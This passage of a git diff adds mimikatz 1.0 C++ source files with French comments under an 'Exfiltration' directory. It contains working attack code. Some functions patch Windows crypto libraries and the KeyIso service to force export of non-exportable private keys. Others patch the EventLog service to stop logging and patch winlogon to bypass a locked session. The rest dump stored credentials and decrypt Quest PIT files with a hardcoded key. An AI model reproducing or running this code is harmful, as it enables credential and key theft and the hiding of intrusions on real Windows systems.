mod_crypto::KeyTypeToString(keySpec) << endl; + + DWORD size = 0; + bool exportable = false; + + if(keySpec == CERT_NCRYPT_KEY_SPEC) + { + if(mod_cryptong::isNcrypt) + { + reussite = mod_cryptong::getKeySize(&monProv, &size); + reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable); + + if(aFermer) + { + mod_cryptong::NCryptFreeObject(monProv); + } + } + else (*outputStream) << L"\t\t\tErreur : Cl de type nCrypt, sans nCrypt ?" << endl; + } + else + { + DWORD tailleEcrite = 0; + DWORD exportability; + + HCRYPTKEY maCle = NULL; + if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0)) + { + tailleEcrite = sizeof(DWORD); + reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(&size), &tailleEcrite, NULL) != 0); + tailleEcrite = sizeof(DWORD); + reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(&exportability), &tailleEcrite, NULL) != 0); + exportable = (exportability & CRYPT_EXPORT) != 0; + } + + if(aFermer) + { + CryptReleaseContext(monProv, 0); + } + } + if(reussite) + { + (*outputStream) << L"\t\tExportabilit : " << (exportable ? L"OUI" : L"NON") << endl; + (*outputStream) << L"\t\tTaille cl : " << size << endl; + } + + if(exportCert) + { + wstring PFXFile = monBuff.str(); + PFXFile.append(L"pfx"); + + reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz"); + + (*outputStream) << L"\t\tExport priv dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + } + else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl; + } + + if(exportCert) + { + wstring DERFile = monBuff.str(); + DERFile.append(L"der"); + + reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile); + + (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + delete certName; + } + CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); + } + else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L" introuvable !" << endl; +} + + +bool mod_mimikatz_crypto::patchcapi(vector * arguments) +{ + wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll"; + char FUNCNAM_WALL_EXPORT[] = "CPExportKey"; +#ifdef _M_X64 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5; + + BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82}; + BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_W6AL_CPExportKey_EXPORT = 5; + LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2; +#elif defined _M_IX86 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7; + + BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_WI60_CPExportKey_EXPORT = 3; + LONG OFFS_WIN6_CPExportKey_EXPORT = 5; +#endif + + PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0; + PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001); + pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000); + patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT; + offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT; + } + else + { +#ifdef _M_X64 + pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001); + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT; + } + else + { + pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000); + offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT; + } +#elif defined _M_IX86 + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001); + pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT; + } + else + { + pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001); + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT; + } +#endif + } + + if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA)) + { + if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) && + mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true)) + { + (*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvs !" << endl << + L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl << + L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl; + } + FreeLibrary(hRSA); + } + return true; +} + +bool mod_mimikatz_crypto::patchcng(vector * arguments) +{ + wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll"; + wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll"; +#ifdef _M_X64 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75}; + BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85}; + + BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9}; + BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75}; + + BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#endif + BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4; + + if(mod_cryptong::isNcrypt) + { + if(mod_cryptong::justInitCNG()) + { + wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0; + + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern = PTRN_WI60_SPCryptExportKey; + taillePattern = sizeof(PTRN_WI60_SPCryptExportKey); + } + else + { +#endif + pattern = PTRN_WNO8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey); +#ifdef _M_X64 + } +#endif + libName = LIBNAME_WNO8_NCrypt; + } + else + { + pattern = PTRN_WIN8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey); + libName = LIBNAME_WIN8_NCrypt; + } + + if(arguments->empty()) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT); + } + else + { +#endif + patch = PATC_WALL_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT); +#ifdef _M_X64 + } +#endif + } + else + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WALL_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT); + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + patch = PATC_WNO8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WIN8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT); + } +#endif + } + offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT; + + mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch); + } + else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Pas de CNG ?" << endl; + + return true; +} + +void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName) +{ + wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'}; + for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++) + { + for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++) + { + if(*monIterateur == monTab[i]) + { + *monIterateur = L'~'; + break; + } + } + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h new file mode 100644 index 00000000..7d81c075 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h @@ -0,0 +1,36 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_cryptoapi.h" +#include "mod_cryptong.h" +#include "mod_crypto.h" +#include "mod_process.h" +#include "mod_patch.h" +#include +#include + +class mod_mimikatz_crypto +{ +private: + static void sanitizeFileName(wstring * fileName); + static void listAndOrExportCertificates(vector * arguments, bool exportCert = false); + static void listAndOrExportKeys(vector * arguments, bool exportKeys = false); +public: + static vector getMimiKatzCommands(); + + static bool listProviders(vector * arguments); + static bool listStores(vector * arguments); + static bool listKeys(vector * arguments); + static bool listCertificates(vector * arguments); + + static bool exportCertificates(vector * arguments); + static bool exportKeys(vector * arguments); + + static bool patchcapi(vector * arguments); + static bool patchcng(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp new file mode 100644 index 00000000..019644de --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp @@ -0,0 +1,306 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_divers.h" + +vector mod_mimikatz_divers::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'vnements pour ne plus rien enregistrer")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour dverrouiller une session")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-dtours SR")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Dchiffre les fichiers PIT (Quest vWorkspace Client)")); + return monVector; +} + +bool mod_mimikatz_divers::nodetour(vector * arguments) +{ + vector mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); + mesOS.push_back(mod_patch::WINDOWS_2008_____x64); + mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); + mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; + BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; + + PBYTE monNTDLLptr = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); + if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) + { + (*outputStream) << L"Dtour trouv et "; + if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) + (*outputStream) << L"patch :)"; + else + (*outputStream) << L"NON patch :("; + (*outputStream) << endl; + } + else + (*outputStream) << L"Dtour non trouv" << endl; + } + return true; +} + + +bool mod_mimikatz_divers::cancelator(vector * arguments) +{ + vector mesOS; + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; + BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; + long offsetCibleNOP = 3; + + vector * mesProcesses = new vector(); + wstring processName = L"winlogon.exe"; + + if(mod_process::getList(mesProcesses, &processName)) + { + for(vector::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) + { + mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); + } + } + + delete mesProcesses; + } + return true; +} + + +bool mod_mimikatz_divers::noroutemon(vector * arguments) +{ + //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 + BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 + BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; + + mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); + return true; +} + +bool mod_mimikatz_divers::eventdrop(vector * arguments) +{ + wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; + wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; +#ifdef _M_X64 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; + LONG OFFS_WNT5_PerformWriteRequest = -10; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; + LONG OFFS_WN62_Channel__ActualProcessEvent = 0; + + BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; +#elif defined _M_IX86 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; + LONG OFFS_WNT5_PerformWriteRequest = -20; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; + LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); + + BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; + BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; +#endif + + BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; + BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; + LONG OFFS_PATC_Process = 0; + wstring libEvent; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + libEvent.assign(LIBNAME_WNT5_EVTLOG); + PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); + PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); + OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; + } + else + { + libEvent.assign(LIBNAME_WNT6_EVTLOG); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; +#ifdef _M_X64 + } +#elif defined _M_IX86 + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } + else if(mod_system::GLOB_Version.dwMinorVersion < 2) + { + PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } +#endif + else + { + PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; +#ifdef _M_IX86 + PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); +#endif + } + +#ifdef _M_X64 + PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); +#endif + } + + mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); + + return true; +} + +bool mod_mimikatz_divers::secrets(vector * arguments) +{ + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); + + if(CredEnumerate(NULL, flags, &credNb, &pCredential)) + { + (*outputStream) << L"Nombre de secrets : " << credNb << endl; + + for(DWORD i = 0; i < credNb; i++) + { + wstring type; + bool isCertificate = false; + switch(pCredential[i]->Type) + { + case CRED_TYPE_GENERIC: + type.assign(L"GENERIC"); + break; + case CRED_TYPE_DOMAIN_PASSWORD: + type.assign(L"DOMAIN_PASSWORD"); + break; + case CRED_TYPE_DOMAIN_CERTIFICATE: + type.assign(L"DOMAIN_CERTIFICATE"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: + type.assign(L"DOMAIN_VISIBLE_PASSWORD"); + break; + case CRED_TYPE_GENERIC_CERTIFICATE: + type.assign(L"GENERIC_CERTIFICAT"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_EXTENDED: + type.assign(L"DOMAIN_EXTENDED"); + break; + default: + type.assign(L"?"); + } + + (*outputStream) << + L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << + L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << + L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << + L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl << + L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << + endl; + } + CredFree(pCredential); + } + else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_divers::pitme(vector * arguments) +{ + static const BYTE HARDCODED_KEY[] = { + 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, + 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, + 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, + 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, + 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, + 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, + 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, + 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, + 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, + 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, + 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, + 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, + 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, + 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, + 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, + 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e + }; + static const DWORD SUBKEY_SIZE = 16; + static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; + + FILE * monFichierSource, * monFichierDestination; + BYTE * monBuffer, * monBufferData; + ULONG tailleFichierSource, tailleData; + + if(arguments->size() < 1) + { + (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; + } + else + { + (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; + if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) + { + fseek(monFichierSource, 0, SEEK_END); + tailleFichierSource = ftell(monFichierSource); + monBuffer = new BYTE[tailleFichierSource]; + fseek(monFichierSource, 0, SEEK_SET); + fread(monBuffer, tailleFichierSource, 1, monFichierSource); + fclose(monFichierSource); + + (*outputStream) << L"OK" << endl << L" * Dchiffrement n1 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * Dchiffrement n2 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * En-tte : "; + if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) + { + (*outputStream) << L"OK" << endl; + monBufferData = monBuffer + sizeof(HEADER_PIT); + tailleData = 